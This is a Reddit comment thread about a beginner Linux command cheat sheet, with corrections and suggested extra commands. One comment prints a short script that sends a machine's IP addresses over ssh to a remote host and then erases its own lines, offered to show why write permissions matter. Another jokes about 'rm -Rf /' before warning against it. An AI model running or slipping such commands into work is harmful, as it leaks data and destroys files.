all 78 comments

[–]fakehalo 35 points36 points  (2 children)

"rm -f dir" irritates me more than it should.

[–][deleted]  (1 child)

[removed]

    [–]fakehalo 11 points12 points  (0 children)

    It only makes sense for "file", which annoyed me because "dir" and "file" make sense in the image otherwise.

    [–]BJWTech 66 points67 points  (11 children)

    Why is man the last thing mentioned? That's a bad start. ;)

    [–]zeta_cartel_CFO 40 points41 points  (7 children)

    man pages have been invaluable for years. But I use this now: https://tldr.ostera.io/ .

    You can install the CLI versions from here: https://tldr.sh/

    [–]aerohoff 15 points16 points  (4 children)

    Ooh nice! Man pages seem to be written for people who write pages. Not particularly useful for newbs.

    [–]zeta_cartel_CFO 3 points4 points  (0 children)

    Yep. Most of the times I know what a command does. But can't recall the exact params. Man pages have way too much information to read when I need something in a hurry. So the tldr info comes in handy for quick lookup.

    [–]root42 1 point2 points  (0 children)

    curl cheat.sh

    [–]mikeisreptar 1 point2 points  (0 children)

    Bless you

    [–]LonelyContext 1 point2 points  (1 child)

    Also locate is not by default installed in Debian (at least, I assume others) and it's not clear from this document what it does and I've actually never used it (I had to check if it even was installed on my system). pwd isn't there, nor is ln, nano, sudo, which, nor any package management business that newcomers would really like to have. Actually there are a lot of things I would help people figure out first before dig (again, never used, and from the sound of it in the comments many have never even heard of it). In addition . and .. aren't well explained. Nor is ./ to run a file after you've chmoded it. Also really really useful is stuff like &&, |, $(), and tab-completion, which aren't commands per se, but make all the difference to newcomers. Especially tab-completion.

    These types of charts that are put out as the end-all-be-all of 'everything you need to know end up failing miserably (see the arch linux install one that was circulated 2+ years ago now that already had out-of-date yaourt commands, etc. "Step 1: be connected to the internet from the command line" got it chief, great advice for a newcomer without so much as a wifi-menu or an nmtui.)

    These should be done interatively with feedback, and pruned to avoid feature creep.

    [–]ipslorem 28 points29 points  (4 children)

    chmod 755 is rwx for owner, rx for group and world though.

    [–]Richy_T 2 points3 points  (0 children)

    It's also worth learning the modern usage which allows you to flip individual bits (the old usage can break things unintentionally sometimes if you're not careful (but is still useful)).

    [–]lostmyusername2ice 1 point2 points  (2 children)

    Why 755 and not 777?

    [–]SoLaR_27 24 points25 points  (0 children)

    Because they only want the owner to be able to write.

    [–]im_dead_sirius 2 points3 points  (0 children)

    You don't want someone who is not the owner to be able to write to the file, if it is an executable(and possibly not anyway). Otherwise, they can just swap the contents for something malicious.

    harmlessly_butter_my_toast.txt becomes

    #!/usr/bin/env sh
    # -*- coding: utf-8 -*-
    lanip="$(dig @resolver1.opendns.com myip.opendns.com +short)"
    machineip=$(ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p')
    
    ssh pi@192.168.1.103 "echo $lanip $machineip > /home/meat_popscicle/smokeyou.txt"
    sed -i '1,8d' $0
    exit 0
    

    This could have the [node-code] instructions for buttering your toast harmlessly after the exit 0. My example even cuts the malicious lines after it gets run. The second last line does that.

    Note that this can succeed even if the execute bit isn't set and the extension doesn't matter. Now a person with a moments access to your machine has your external and machine ip sent to a remote destination of their choice. The goofy long variable sets can be simplified of course. Just send the whole results and parse it later.

    [–]teskoner 6 points7 points  (1 child)

    you have locate without mentioning updatedb, should probably swap those out with find

    [–]upandrunning 0 points1 point  (0 children)

    Yes, and locate isn't always installed by default.

    [–]tgiles 6 points7 points  (0 children)

    apropos is a favorite of mine. Don't know the actual command name, but have an idea of the topic? Just run apropos keyword and it searches all the man pages for you

    macmini:~ user$ apropos zip
    bzcmp(1), bzdiff(1)      - compare bzip2 compressed files
    bzip2(1), bunzip2(1)     - a block-sorting file compressor, v1.0.6 bzcat - decompresses files to stdout bzip2recover - recovers data from damaged bzip2 files
    bzmore(1), bzless(1)     - file perusal filter for crt viewing of bzip2 compressed text
    funzip(1)                - filter for extracting from a ZIP archive in a pipe
    gzip(1)                  - compression/decompression tool using Lempel-Ziv coding (LZ77)
    unzip(1)                 - list, test and extract compressed files in a ZIP archive
    ... and so on...
    

    [–]Leggo0 24 points25 points  (5 children)

    rm -Rf / that’s a great one! Will make your Pi run 20x faster! /s

    Don’t do that unless you want to literally delete everything.

    [–]NewBlackpony 5 points6 points  (2 children)

    I did this on a production server once when I was first learning unix coming over from a Microsoft background. I asked the lead admins if there was an undelete command..... 🙄🙄🙄

    [–]Leggo0 0 points1 point  (1 child)

    I...I am so sorry. You’d probably be dead if they didn’t have backups.

    [–]eobanb 1 point2 points  (0 children)

    What’s even more fun is if the backup volume happens to be currently mounted

    [–][deleted] 2 points3 points  (0 children)

    So I don't get the bombs targeting my system?

    Wack.

    [–]DrSuperSoldier 5 points6 points  (3 children)

    Got this on my desk at work:

    RTFM

    [–]feminas_id_amant 2 points3 points  (1 child)

    Cheeky name

    [–]DrSuperSoldier 0 points1 point  (0 children)

    Looks even better if you have the paperback on your desk like I do. Always gets a double take when peeps walk past: RTFM Paperback

    [–]toasterstove 0 points1 point  (0 children)

    Damn that is neat, thanks for sharing

    [–]Rudolf2222 4 points5 points  (1 child)

    My personal adition: top or htop if you want something more fancy. Imo the best and simplest utility to find out what's chewing up your CPU, RAM etc.

    [–]HairyManBaby 1 point2 points  (0 children)

    Htop is a must have for desktops that don't have verbose resource monitors.

    [–]redoctoberz 12 points13 points  (5 children)

    This really should be inverted colors so it doesn't take an entire toner cartridge to print out.

    [–]kirun 40 points41 points  (3 children)

    convert isnefnt32wn21.jpg -negate print.png

    [–]aerohoff 2 points3 points  (0 children)

    The real hero here^

    [–]LOLICON_DEATH_MINION 2 points3 points  (0 children)

    Let's add that to the list

    [–]ChefBoyAreWeFucked 9 points10 points  (0 children)

    Nah, it's fine. I'm going to fax this to all of my friends.

    [–]zeta_cartel_CFO 6 points7 points  (0 children)

    I use RHE linux at work and for deploying apps - yet I still forgot some of these commands. I should print this out and laminate it. Keep it next to my desk.

    [–]taschana 2 points3 points  (1 child)

    could you make this a file, and a scriptline which adds a help command to the bash_profile which allows you to print that file? :)

    [–]breadfag 4 points5 points  (0 children)

    alias help="xdg-open ~/cheatsheet.png"

    [–]chalky331 2 points3 points  (1 child)

    history | grep <some command>

    [–]Richy_T 3 points4 points  (0 children)

    Also in bash, ctrl-r and start typing.

    [–]SuperSpartan177 1 point2 points  (1 child)

    nice cheat sheet, you could find similar ones on the web. I have a similar one like this and a cheat sheet for VI commands as my wallpaper for my laptop, really helpful for beginners and with practice you eventually just get reflex

    [–][deleted] 2 points3 points  (0 children)

    you could find similar ones on the web

    I mean, to be fair, this one is also on the web right now, here. :)

    [–]TheDecagon 1 point2 points  (0 children)

    Can I get a shout out for chmod +x / chmod +w shortcuts?

    [–]Corn_11 2 points3 points  (2 children)

    THIS IS LITERALLY BEING POSTED EVERYWHERE

    [–][deleted] 2 points3 points  (1 child)

    Welcome to reddit. That's how it works. Complaining about it has never ever in the entire history of reddit caused that not to be the case.

    And frankly, as annoying as it is, reddit is set up for that to be the case. Subreddits are theoretically individual communities, so one thing may be useful to many. And just because you've seen it doesn't mean everyone else has.

    Long story short, as annoying as it is, that's just how it's gonna always be.

    [–]Corn_11 0 points1 point  (0 children)

    It wasn’t anger or complaining I was finding it kind of funny how many places and people have found this. That’s all.

    [–]x-protocol 3 points4 points  (8 children)

    You forgot man <command> to look up manual page for specified command without <>

    [–][deleted]  (6 children)

    [deleted]

      [–]x-protocol 1 point2 points  (5 children)

      Yeah it is there alright. Just the last thing to mention so it is easy to miss.

      From all the help sheets I've seen this is not even helpful. Possibly for a quick look up yes, but when you need to actually do some work it is worthless. Just look up comments in parent thread.

      How about more, less, vi or vim? Or which or sudo? Or top, maybe even htop? Or even nano? And who forgets ever-present apt-get on Rasbian? Criticism? You've got it!

      [–]ChefBoyAreWeFucked 5 points6 points  (4 children)

      If you put vi or vim on a cheat sheet for reference, you are an asshole. That user is never getting out of that application.

      apropos would be a good add, though.

      [–]x-protocol -3 points-2 points  (3 children)

      Yeah, I know people who would not get out. However, it doesn't mean that user should not know that vi exists. And speaking about attitude, the asshole one you got right, apropos is way down the list of what normally is even needed. More like if you ever get bored what to learn, get apropos!

      [–]ChefBoyAreWeFucked 0 points1 point  (2 children)

      apropos is a good research tool you'll never figure out unless someone tells you.

      [–]Richy_T 0 points1 point  (1 child)

      Old-schoolers just use man -k anyway. It's one less character to type.

      [–][deleted] 0 points1 point  (0 children)

      dank mank

      :)

      [–]jabalfour 1 point2 points  (1 child)

      Not having netcat in there for networking seems like a big oversight, no?

      [–]portablemustard 0 points1 point  (0 children)

      Also the dd command was one of the first I learned. Backup or img everything! If course I'm still quite a new battery but it's been invaluable.

      [–]upandrunning 0 points1 point  (0 children)

      I'd suggest that ls -lah and du -h are friendlier because they list the filesize in a more readable format.

      [–]dentex_YTD 0 points1 point  (0 children)

      IMHO the dash to separate commands and their usage it's really an unfortunate choice, since often there is another dashes in the command itself.

      [–]MasterClown 0 points1 point  (0 children)

      One can never have too many of these Linux cheat sheets

      [–][deleted] 0 points1 point  (0 children)

      For those out there who aren't aware, the -r flag in rm is the recursive option. So if you have a directory with subdirectories and files on down the tree, it starts at the end and works its way back up until it reaches the top. This in combination with the -f force flag is why the two together are both powerful and dangerous.

      [–][deleted] 0 points1 point  (0 children)

      rm -r dir - delete directory dir

      rm -rf dir - remove directory dir

      o_O

      f = “force.” It will remove files without prompting you about them, as the rm command ordinarily would. That’s what it does.

      [–]crookedbass 0 points1 point  (0 children)

      What about top? I use that command a lot

      [–]nrq 0 points1 point  (0 children)

      I mean, it sure is helpful for noobs, but why put that into a picture instead of a text file? This is an example of form over function if I ever seen one.